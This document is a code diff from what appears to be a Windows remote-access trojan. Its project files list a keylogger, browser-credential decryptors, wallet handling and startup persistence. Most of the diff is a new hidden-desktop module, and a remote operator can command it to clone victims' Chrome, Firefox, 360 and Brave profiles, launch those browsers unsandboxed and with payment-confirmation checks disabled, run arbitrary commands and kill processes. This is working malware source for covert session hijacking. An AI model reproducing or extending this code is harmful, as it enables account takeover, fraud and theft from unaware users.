<ClInclude Include="ServicesManager.h" /> <ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" /> <ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" /> <ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" /> <ClInclude Include="SessionMonitor.h" />
@@ -281,6 +300,10 @@
<ClInclude Include="SystemManager.h" /> <ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" /> <ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" /> <ClInclude Include="TalkManager.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
+204
View File
@@ -0,0 +1,204 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp" />
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
<ClCompile Include="decrypt\DecryptManager.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\Get360seInfo.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\GetBrowserInfo.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\UnCode.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\sqlite3\rijndael.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\sqlite3\sqlite3.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\cJSON\cJSON.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\base64\base64.c">
<Filter>decrypt</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="ClientApp.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="my_clip.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="decrypt\DecryptManager.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\Get360seInfo.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\GetBrowserInfo.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\UnCode.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\rijndael.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\sqlite3.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\cJSON\cJSON.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\base64\base64.h">
<Filter>decrypt</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Filter Include="decrypt">
<UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
</Filter>
</ItemGroup>
</Project>
+7 -2
View File
@@ -9,14 +9,19 @@
#define IDI_ICON2 105 #define IDI_ICON2 105
#define IDI_ICON_MSG 105 #define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000 #define IDC_EDIT_MESSAGE 1000
#define IDD_CHAT 106
#define IDC_EDIT_CHATLOG 1001
#define IDC_EDIT_NEWMSG 1002
#define IDC_BUTTON_SEND 1003
#define IDC_BUTTON_END 1004
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 106 #define _APS_NEXT_RESOURCE_VALUE 107
#define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101 #define _APS_NEXT_SYMED_VALUE 101
#endif #endif
#endif #endif
+615
View File
@@ -0,0 +1,615 @@
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
//
//////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include <Windowsx.h>
#include "ScreenHideManager.h"
#include <WinUser.h>
#include <string>
#include <Shlwapi.h>
#include <ShlObj.h>
#include <Tlhelp32.h>
#include <shellapi.h>
#include <winioctl.h>
#include <Wtsapi32.h>
#include <set>
#include <vector>
#pragma comment (lib, "Shlwapi.lib")
namespace SimplePluginsScreenHide {
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
// 获取指定桌面下的所有进程ID
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
std::set<DWORD> pidSet;
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (SetThreadDesktop(hDesk)) {
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
// 跳过不可见窗口和子窗口
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
if (pid != 0) pids.insert(pid);
}
return TRUE;
}, reinterpret_cast<LPARAM>(&pidSet));
SetThreadDesktop(hOriginalDesk);
}
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
}
bool IsSystemProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return true;
char exeName[MAX_PATH];
DWORD size = MAX_PATH;
bool isSystem = false;
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
isSystem = (_stricmp(exeName, szExplorerFile)==0);
}
CloseHandle(hProcess);
return isSystem;
}
void SafeTerminateDesktopProcesses(HDESK hDesk) {
// 检查桌面句柄有效性
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
// 获取当前桌面(用于恢复)
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (!hOriginalDesk) {
Mprintf("Failed to get original desktop\n");
return;
}
// 切换桌面
if (!SetThreadDesktop(hDesk)) {
Mprintf("SetThreadDesktop failed\n");
return;
}
// 枚举进程
auto pids = GetProcessIdsInDesktop(hDesk);
SetThreadDesktop(hOriginalDesk); // 立即恢复
// 终止进程
for (DWORD pid : pids) {
if (pid == GetCurrentProcessId()) continue; // 跳过自己
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed for PID: %d\n", pid);
continue;
}
// 检查是否为系统进程
if (IsSystemProcess(pid)) {
CloseHandle(hProcess);
continue;
}
// 终止进程
if (!TerminateProcess(hProcess, 0)) {
Mprintf("TerminateProcess failed for PID: %d\n", pid);
}
CloseHandle(hProcess);
}
}
void CopyDir(TCHAR* from, TCHAR* to)
{
TCHAR fromWildCard[MAX_PATH] = { 0 };
lstrcpy(fromWildCard, from);
lstrcat(fromWildCard, _T("\\*"));
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
return;
WIN32_FIND_DATA findData;
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
if (hFindFile == INVALID_HANDLE_VALUE)
return;
do {
TCHAR currFileFrom[MAX_PATH] = { 0 };
lstrcpy(currFileFrom, from);
lstrcat(currFileFrom, _T("\\"));
lstrcat(currFileFrom, findData.cFileName);
TCHAR currFileTo[MAX_PATH] = { 0 };
lstrcpy(currFileTo, to);
lstrcat(currFileTo, _T("\\"));
lstrcat(currFileTo, findData.cFileName);
if
(
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
strcmp(findData.cFileName, _T(".")) &&
strcmp(findData.cFileName, _T(".."))
) {
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
CopyDir(currFileFrom, currFileTo);
} else
CopyFile(currFileFrom, currFileTo, FALSE);
} while (FindNextFile(hFindFile, &findData));
}
void killproc(const TCHAR* name)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes) {
if (strcmp(pEntry.szExeFile, name) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
(DWORD)pEntry.th32ProcessID);
if (hProcess != NULL) {
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
CScreenManagerBase(pClient, nBitDepth, user)
{
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
}
CScreenHideManager::~CScreenHideManager()
{
}
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0]) {
case COMMAND_FLUSH_HIDE:
ResetScreen(32);
break;
case COMMAND_SCREEN_CONTROL:
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendClientClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
break;
case COMMAND_SCREEN_SETSCREEN_HIDE:
Loop_Screen();
break;
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
m_ScreenSpyObject->SendQuality(60);
break;
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
m_ScreenSpyObject->SendQuality(85);
break;
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
m_ScreenSpyObject->SendQuality(100);
break;
case COMMAND_HIDE_USER: {
return OnUserCommand(lpBuffer, nSize);
}
break;
case COMMAND_HIDE_CLEAR:
SafeTerminateDesktopProcesses(g_hDesk);
break;
default:
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
break;
}
}
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
char* deskName = (char*)m_DesktopID.c_str();
switch (lpBuffer[1]) {
case IDM_OPEN_Explorer: {
const DWORD neverCombine = 2;
const TCHAR* valueName = _T("TaskbarGlomLevel");
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
DWORD value;
DWORD size = sizeof(DWORD);
DWORD type = REG_DWORD;
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
if (value != neverCombine)
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
TCHAR explorerPath[MAX_PATH] = { 0 };
GetWindowsDirectory(explorerPath, MAX_PATH);
lstrcat(explorerPath, _T("\\"));
lstrcat(explorerPath, _T("explorer.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
APPBARDATA appbarData;
appbarData.cbSize = sizeof(appbarData);
for (int i = 0; i < 5; ++i) {
Sleep(1000);
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
if (appbarData.hWnd)
break;
}
appbarData.lParam = ABS_ALWAYSONTOP;
SHAppBarMessage(ABM_SETSTATE, &appbarData);
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
RegCloseKey(hKey);
break;
}
case IDM_OPEN_run: {
TCHAR rundllPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Powershell: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Chrome: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcat(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR botId[35] = { 0 };
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcat(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Edge: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("msedge.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Brave: {
killproc(_T("brave.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("brave.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Firefox: {
TCHAR firefoxPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
TCHAR profilesIniPath[MAX_PATH] = { 0 };
lstrcat(profilesIniPath, firefoxPath);
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hProfilesIni == INVALID_HANDLE_VALUE)
return;
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
DWORD read;
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
profilesIniContent[profilesIniSize] = 0;
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
if (!isRelativeRead) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
isRelativeRead += 11;
BOOL isRelative = (*isRelativeRead == _T('1'));
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
if (!path) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
TCHAR* pathEnd = StrStr(path, _T("\r"));
if (!pathEnd) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
*pathEnd = 0;
path += 5;
TCHAR realPath[MAX_PATH] = { 0 };
if (isRelative)
lstrcpy(realPath, firefoxPath);
lstrcat(realPath, path);
TCHAR newPath[MAX_PATH];
lstrcpy(newPath, firefoxPath);
lstrcpy(newPath, deskName);
CopyDir(realPath, newPath);
TCHAR browserPath[MAX_PATH] = { 0 };
lstrcpy(browserPath, _T("cmd.exe /c start "));
lstrcpy(browserPath, _T("firefox.exe"));
lstrcpy(browserPath, _T(" -no-remote -profile "));
lstrcpy(browserPath, _T("\""));
lstrcpy(browserPath, newPath);
lstrcpy(browserPath, _T("\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Iexplore: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("iexplore.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy2: {
ZdyCmd m_ZdyCmd = {};
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, m_ZdyCmd.cmdline);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, m_ZdyCmd.newpath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360JS: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("360chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("secoresdk\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ2: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("360se6\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
}
}
void CScreenHideManager::InitScreenSpy() {
